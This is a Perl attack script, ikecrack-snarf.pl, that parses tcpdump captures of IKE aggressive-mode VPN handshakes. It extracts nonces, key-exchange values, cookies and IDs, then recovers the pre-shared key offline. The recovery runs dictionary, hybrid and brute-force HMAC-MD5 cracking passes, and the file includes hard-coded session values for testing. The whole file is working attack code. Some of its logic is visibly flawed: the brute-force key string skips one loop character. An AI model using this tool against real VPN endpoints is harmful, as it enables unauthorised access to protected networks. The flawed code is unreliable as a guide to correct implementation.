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ikecrack-snarf-1.00.pl
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#!/usr/bin/perl
use Digest::HMAC_MD5 qw(hmac_md5 hmac_md5_hex);
# ikecrack-snarf.pl
# By Anton T. Rager - arager@avaya.com or a_rager@yahoo.com
# Version 1.00 - 9/29/2002
#
# Parses tcpdump -xq file to extract IKE info for calculating SKEYID and HASH_R
# 1.00 - added dictionary file and hybrid logic attacks, and added logic to print IDs - 9/25/2002
# 0.11 - modified crack loops to extend to 11 characters and stop on match. Old looping was kludgy and a nasty hack.
# 0.10 - first release
#findhost is IKE initiator
# Static test var sets flag to use inline hard-coded IKE session values. Set to 1 to enable static test, otherwise reads from logfile.dat.
$static_test=0;
# Variable for desired character set with crack.
# 0 = lcase, nums, and ucase
# 1 = lcase only
# 2 = ucase only
# 3 = nums only
$set_select=0;
if ($static_test) {
# hardcoded info for testing IKECrack without a capture file. Catured from previous session. PSK used is "xxx".
#
$RX_HASH_R = "7657615908179c0d7ddb6712f3d0e31e";
$nonce_i = "97c1292dcd4b3171a60c89d80a43fc023d522be9";
$nonce_r = "b194f883458e04e58b226b223462c27fc1409178";
$dhpub_i = "ab92ccf857eef66477825d345f300da0d6f1c5de7c10f9bdca0030134fc73a782085c127bcdaf811578a970ee6eff160dabf500d54758519ea5c7c7e1e394ef7ba1f2dcadcce318bb39d9633bd3aaef36d63b84b0f79e26469e3db3d2786739d";
$dhpub_r = "e9a5c77627d01a648ba24078580dc88b85ee104bf9f1541b75e121d77e981b0a11c1f7073aab21704311cc5174af2588ccf73138af383f12d679b8ca2267fc1cf9013207e5d9b28331030a720f2dcd4ee543a0f68f0d024dbd9ded8d98723607";
$cookie_i = "3a08ceef6b5d107d";
$cookie_r = "fd532fd41127da2c";
$SA_i = "00000001000000010000004801010002030000200101000080010001800200018003000180040001800b0001800c7080000000200201000080010001800200028003000180040001800b0001800c7080";
$ID_r = "010000000a400101";
} else {
$findhost=@ARGV[0];
if (!$findhost) {
print("Usage: ikecrack-snarf.pl <initiator_ip.port>\n\n Example: ikecrack-snarf.pl 10.10.10.10.500\n");
exit;
}
print("Looking for Initiator : $findhost\n");
#logfile.dat is saved output from tpcdump : ie "tcpdump -nxq port 500 > logfile.dat"
if (! -r "logfile.dat") {
print("logfile.dat does not exist in current directory.\n\n--Create logfile.dat with tcpdump in the following manner:\n tcpdump -nxq > logfile.dat\n");
exit;
}
open(TEST, "logfile.dat");
@logfile = <TEST>;
close(TEST);
# This section of code parses the hex dumps from tcpdump, and then extracts the IKE payloads. It also maintains some IKE state
# info for the initiator and responder for later cracking
#
# I Known this code is nasty and that pcap is a much cleaner way to handle this.
# Initialize IKE State vars
$match=0;
$aggr=0;
$init=0;
$matchcnt=0;
$hexdone=0;
$init="";
$resp="";
foreach $parserec (@logfile) {
if (substr($parserec, 0,1) != " ") {
if ($hexstart) {
$hexstart=0;
$hexdone=1;
if ($matchcnt eq 0) {
print("Init\n");
$ike = substr($init, 56);
}
if ($matchcnt eq 1) {
print("Resp\n");
$ike = substr($resp, 56);
}
$ptr= 0;
$tcookie_i = substr($ike, $ptr, 16);
print("tcookie_i : $tcookie_i\n");
$ptr=$ptr+16;
$tcookie_r = substr($ike, $ptr, 16);
print("tcookie_r : $tcookie_r\n");
if ($tcookie_r ne "0000000000000000" && $matchcnt eq 0) {
print("Error : Non-Zero Cookie responder cookie with initiator packet\n");
exit;
}
if (matchcnt eq 1) {
if ($cookie_i ne $tcookie_i) {
print("Error : Initiator Cookie mismatch with response\n");
exit;
}
}
$cookie_i = $tcookie_i;
$cookie_r = $tcookie_r;
$ptr = $ptr +16;
$nxt_pld = substr($ike, $ptr, 2);
$ptr = $ptr + 4;
$xchg = substr($ike, $ptr, 2);
print("xchg type: $xchg\n");
if ($xchg eq "04") {
print("Aggressive Mode - Continue\n");
} else {
print("Error : Not Aggressive Mode\n");
exit;
}
if ($xchg eq "05") {
print("Error : Informational Packet\n");
exit;
}
$ptr = $ptr + 12;
$ikelen = hex(substr($ike, $ptr, 8));
$ptr = $ptr + 8;
while ($nxt_pld ne "00") {
$this_pld = $nxt_pld;
$nxt_pld = substr($ike, $ptr, 2);
$ptr = $ptr + 4;
$pld_len = hex(substr($ike, $ptr, 4));
$ptr = $ptr + 4;
$payload = substr($ike, $ptr, $pld_len*2-8);
if ($this_pld eq "01") {
if ($matchcnt) {
$SA_r = $payload;
print("SA_r : $SA_r\n");
#check for matching proposal with MD5?
} else {
$SA_i = $payload;
print("SA_i : $SA_i\n");
}
}
if ($this_pld eq "04") {
if ($matchcnt) {
$dhpub_r = $payload;
print("KE_r : $dhpub_r\n");
} else {
$dhpub_i = $payload;
print("KE_i : $dhpub_i\n");
}
}
if ($this_pld eq "05") {
if ($matchcnt) {
$ID_r = $payload;
print("ID_r : $ID_r\n");
} else {
if (length($payload) eq 48) {
print("ID seems to be SHA1 hash - Nortel Client?\n");
exit;
}
$ID_i = $payload;
print("ID_i : $ID_i\n");
}
}
if ($this_pld eq "08") {
$RX_HASH_R = $payload;
print("HASH_r : $RX_HASH_R\n");
}
if ($this_pld eq "0a") {
if ($matchcnt) {
$nonce_r = $payload;
print("nonce_r : $nonce_r\n");
} else {
$nonce_i = $payload;
print("nonce_i : $nonce_i\n");
}
}
if ($this_pld eq "0b") {
print("Ntfy : $payload\n");
}
$ptr = $ptr + ($pld_len*2-8);
}
print("\n\n");
}
@heading=split(" ", $parserec);
print("Header IPs $heading[1] $heading[3]\n");
if (!$match) {
chop($heading[3]);
if ($heading[1] eq $findhost) {
$ip1=$heading[1];
$ip2=$heading[3];
$match=1;
$hexdone=0;
print("Matching Header $ip1 $ip2\n");
$initIP = "$heading[1] $heading[3]";
}
} else {
$matchcnt++;
if ($matchcnt < 2) {
$hexdone=0;
chop($heading[3]);
if ($heading[1] eq $ip2 && $heading[3] eq $ip1) {
print("Reply Header? $heading[1] $heading[3]\n");
$respIP = "$heading[1] $heading[3]";
}
}
}
} else {
if ($match && $matchcnt < 2 && !$hexdone) {
$hexstart=1;
@hexdump=split(" ", $parserec);
foreach $hexrec (@hexdump) {
if ($matchcnt eq 0) {
$init= $init . $hexrec;
}
if ($matchcnt eq 1) {
$resp = $resp . $hexrec;
}
}
}
}
}
}
if (!$RX_HASH_R) {
die("No Responder HASH found for session\nMake sure you got an Aggressive IKE session in the logfile.dat file, and double check the intiating host IP/ports \n");
}
$noncedata = $nonce_i . $nonce_r;
$hashdata_r = $dhpub_r . $dhpub_i . $cookie_r . $cookie_i . $SA_i . $ID_r;
@lcase_charset = ("a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z");
@ucase_charset = ("A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z");
@nums_charset = ("0","1","2","3","4","5","6","7","8","9");
@punct_charset = ("\~", "\`", "\!", "\@", "\#", "\$", "\%", "\^", "\&", "\*", "\(", "\)", "\_", "\-", "\+", "\=", "\{", "\}", "\|", "\[", "\]", "\\", "\;", "\'", "\:", "\"", "\,", "\.", "\/", "\<", "\>", "\?");
if ($set_select eq 1) {
# Lcase
push(@charset, "");
push(@charset, @lcase_charset);
} elsif ($set_select eq 2) {
# UCase
push(@charset, "");
push(@charset, @ucase_charset);
} elsif ($set_select eq 3) {
# Nums
push(@charset, "");
push(@charset, @nums_charset);
} else {
# LCase + Nums + Ucase
push(@charset, "");
push(@charset, @lcase_charset);
push(@charset, @nums_charset);
push(@charset, @ucase_charset);
}
$el_size = scalar(@charset)-1;
# Pre-Processing of input data to convert from hex to characters
for ($y=0; $y<length($noncedata); $y=$y+2) {
$tmp = chr(hex(substr($noncedata, $y, 2)));
$noncedata_char = $noncedata_char . $tmp;
}
for ($y=0; $y<length($hashdata_r); $y=$y+2) {
$tmp = chr(hex(substr($hashdata_r, $y, 2)));
$hashdatar_char = $hashdatar_char . $tmp;
}
print("\nInitiator_ID - ");
for ($y=0; $y<length($ID_i); $y=$y+2) {
if ($y eq 0) {
if(hex(substr($ID_i, $y, 2)) eq 0x03) {
print("Type is FQDN: ");
$idtype=3;
} elsif (hex(substr($ID_i, $y, 2)) eq 0x01) {
print("Type is IPv4: ");
$idtype=1;
} else {
print("Type unknown: ");
}
}
if ($idtype eq 3 && $y > 7) {
$tmp = chr(hex(substr($ID_i, $y, 2)));
print("$tmp");
} elsif ($idtype eq 1 && $y > 7) {
$tmp = hex(substr($ID_i, $y, 2));
print("$tmp");
if ($y ne length($ID_i)-2) {
print(".");
}
}
}
print("\nResponder_ID - ");
for ($y=0; $y<length($ID_r); $y=$y+2) {
if ($y eq 0) {
if(hex(substr($ID_r, $y, 2)) eq 0x03) {
print("Type is FQDN: ");
$idtype=3;
} elsif (hex(substr($ID_r, $y, 2)) eq 0x01) {
print("Type is IPv4: ");
$idtype=1;
} else {
print("Type unknown: ");
}
}
if ($idtype eq 3 && $y > 7) {
$tmp = chr(hex(substr($ID_r, $y, 2)));
print("$tmp");
} elsif ($idtype eq 1 && $y > 7) {
$tmp = hex(substr($ID_r, $y, 2));
print("$tmp");
if ($y ne length($ID_r)-2) {
print(".");
}
}
}
print ("\nResponder Sent MD5 HASH_R : $RX_HASH_R\n\n");
# End Pre-Processing
#
#
# Start Bruteforce Loops
print("Starting Grinder.............\n\n");
if (-f "wordlist") {
print("Reading Dictionary File\n");
open(CRACKFILE, "wordlist");
@cracklist = <CRACKFILE>;
close(CRACKFILE);
print("Starting Dictionary Attack:\n");
foreach $cracktest (@cracklist) {
chomp($cracktest);
$SKEY_char = hmac_md5($noncedata_char, $cracktest);
$MD_HASH_R = hmac_md5_hex($hashdatar_char, $SKEY_char);
if ($RX_HASH_R eq $MD_HASH_R) {
print ("match with $cracktest\n");
print ("Calc MD5 HASH_R : $MD_HASH_R\n");
$SKEY_hex = hmac_md5_hex($noncedata_char, $cracktest);
print ("Calc SKEYID : $SKEY_hex\n");
exit;
}
}
print("No matches\n\n");
print("Starting Hybrid Attack:\n");
push(@hybrid_charset, @punct_charset);
push(@hybrid_charset, @nums_charset);
foreach $cracktest (@cracklist) {
chomp($cracktest);
foreach $hybrid (@hybrid_charset) {
$hybridtest = $cracktest . $hybrid;
$SKEY_char = hmac_md5($noncedata_char, $hybridtest);
$MD_HASH_R = hmac_md5_hex($hashdatar_char, $SKEY_char);
if ($RX_HASH_R eq $MD_HASH_R) {
print ("match with $hybridtest\n");
print ("Calc MD5 HASH_R : $MD_HASH_R\n");
$SKEY_hex = hmac_md5_hex($noncedata_char, $hybridtest);
print ("Calc SKEYID : $SKEY_hex\n");
exit;
}
$hybridtest = $hybrid . $cracktest;
$SKEY_char = hmac_md5($noncedata_char, $hybridtest);
$MD_HASH_R = hmac_md5_hex($hashdatar_char, $SKEY_char);
if ($RX_HASH_R eq $MD_HASH_R) {
print ("match with $hybridtest\n");
print ("Calc MD5 HASH_R : $MD_HASH_R\n");
$SKEY_hex = hmac_md5_hex($noncedata_char, $hybridtest);
print ("Calc SKEYID : $SKEY_hex\n");
exit;
}
}
}
print("No matches\n\n");
} else {
print("No dictionary file found - skipping to bruteforce\n\tHint: create the file \"wordlist\" for a dictionary attack\n\n");
}
print("Starting Bruteforce Attack:\n");
print("Character Set: @charset\n\n");
$starttime = time();
foreach $char0 (@charset) {
if ($level1 && !$char0) {
next;
}
foreach $char1 (@charset) {
if ($level2 && !$char1) {
next;
}
foreach $char2 (@charset) {
if($level3 && !$char2) {
next;
}
foreach $char3 (@charset) {
if ($level4 && !$char3) {
next;
}
foreach $char4 (@charset) {
if ($level5 && !$char4) {
next;
}
foreach $char5 (@charset) {
if ($level6 && !$char5) {
next;
}
foreach $char6 (@charset) {
if ($level7 && !$char6) {
next;
}
foreach $char7 (@charset) {
if ($level8 && !$char7) {
next;
}
foreach $char8 (@charset) {
if ($level9 && !$char8) {
next;
}
foreach $char9 (@charset) {
if ($level10 && !$char9) {
next;
}
foreach $char10 (@charset) {
if (!$char10) {
next;
}
$level10=1;
$brutekey = $char10 . $char9 . $char8 . $char7 . $char6 . $char4 . $char3 . $char2 . $char1 . $char0;
$SKEY_char = hmac_md5($noncedata_char, $brutekey);
$MD_HASH_R = hmac_md5_hex($hashdatar_char, $SKEY_char);
if ($RX_HASH_R eq $MD_HASH_R) {
print ("match with $brutekey\n");
print ("Calc MD5 HASH_R : $MD_HASH_R\n");
$SKEY_hex = hmac_md5_hex($noncedata_char, $brutekey);
print ("Calc SKEYID : $SKEY_hex\n");
$elapsedtime = time()-$starttime;
print ("Elapsed Time : $elapsedtime seconds\n");
exit;
}
}
if (!$level9) {
$level9=1;
$elapsedtime = time()-$starttime;
print("Character 1 Done : Time $elapsedtime seconds\n");
}
}
if (!$level8) {
$level8=1;
$elapsedtime = time()-$starttime;
print("Character 2 Done : Time $elapsedtime seconds\n");
}
}
if (!$level7) {
$level7=1;
$elapsedtime = time()-$starttime;
print("Character 3 Done : Time $elapsedtime seconds\n");
}
}
if (!$level6) {
$level6=1;
$elapsedtime = time()-$starttime;
print("Character 4 Done : Time $elapsedtime seconds\n");
}
}
if (!$level5) {
$level5=1;
$elapsedtime = time()-$starttime;
print("Character 5 Done : Time $elapsedtime seconds\n");
}
}
if (!$level4) {
$level4=1;
$elapsedtime = time()-$starttime;
print("Character 6 Done : Time $elapsedtime seconds\n");
}
}
if (!$level3) {
$level3=1;
$elapsedtime = time()-$starttime;
print("Character 7 Done : Time $elapsedtime seconds\n");
}
}
if (!$level2) {
$level2=1;
$elapsedtime = time()-$starttime;
print("Character 8 Done : Time $elapsedtime seconds\n");
}
}
if (!$level1) {
$level1=1;
$elapsedtime = time()-$starttime;
print("Character 9 Done : Time $elapsedtime seconds\n");
}
}
if (!$level0) {
$level0=1;
$elapsedtime = time()-$starttime;
print("Character 10 Done : Time $elapsedtime seconds\n");
}
}
# End Bruteforce Loops